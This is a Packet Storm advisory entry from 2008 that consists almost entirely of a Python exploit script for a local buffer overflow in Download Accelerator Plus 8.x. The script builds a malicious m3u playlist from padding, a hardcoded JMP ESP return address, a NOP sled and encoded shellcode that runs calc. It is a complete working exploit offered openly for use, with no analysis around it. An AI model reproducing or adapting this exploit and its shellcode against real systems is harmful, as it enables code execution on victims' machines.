dap-overflow.txt

2008-07-10T00:00:00
ID PACKETSTORM:68058
Type packetstorm
Reporter Krystian Kloskowski
Modified 2008-07-10T00:00:00

Description

                                        
                                            `#!/usr/bin/python  
# Download Accelerator Plus - DAP 8.x (m3u) 0day Local Buffer Overflow Exploit  
# Bug discovered by Krystian Kloskowski (h07) <h07@interia.pl>  
# Tested on: Download Accelerator Plus 8.6 / XP SP2 Polish  
# Shellcode: Windows Execute Command (calc)  
# Just for fun ;]  
##  
  
from struct import pack  
  
shellcode = (  
"\x6a\x22\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x8d\x6c\xf6"  
"\xb2\x83\xeb\xfc\xe2\xf4\x71\x84\xb2\xb2\x8d\x6c\x7d\xf7\xb1\xe7"  
"\x8a\xb7\xf5\x6d\x19\x39\xc2\x74\x7d\xed\xad\x6d\x1d\xfb\x06\x58"  
"\x7d\xb3\x63\x5d\x36\x2b\x21\xe8\x36\xc6\x8a\xad\x3c\xbf\x8c\xae"  
"\x1d\x46\xb6\x38\xd2\xb6\xf8\x89\x7d\xed\xa9\x6d\x1d\xd4\x06\x60"  
"\xbd\x39\xd2\x70\xf7\x59\x06\x70\x7d\xb3\x66\xe5\xaa\x96\x89\xaf"  
"\xc7\x72\xe9\xe7\xb6\x82\x08\xac\x8e\xbe\x06\x2c\xfa\x39\xfd\x70"  
"\x5b\x39\xe5\x64\x1d\xbb\x06\xec\x46\xb2\x8d\x6c\x7d\xda\xb1\x33"  
"\xc7\x44\xed\x3a\x7f\x4a\x0e\xac\x8d\xe2\xe5\x9c\x7c\xb6\xd2\x04"  
"\x6e\x4c\x07\x62\xa1\x4d\x6a\x0f\x97\xde\xee\x6c\xf6\xb2")  
  
RET = 0x7CA58265 # JMP ESP (SHELL32.DLL / XP SP2 Polish)  
  
m3u = 'http://localhost/verify_me________________________________%s.mp3'  
buf = 'A' * 14074  
buf += pack('<L', RET)  
buf += '\x90' * 32  
buf += shellcode  
m3u %= buf  
  
fd = open('evil.m3u', 'wb')  
fd.write(m3u)  
fd.close()  
  
print 'DONE, import the evil.m3u and click "Verify"'  
  
# EoF  
`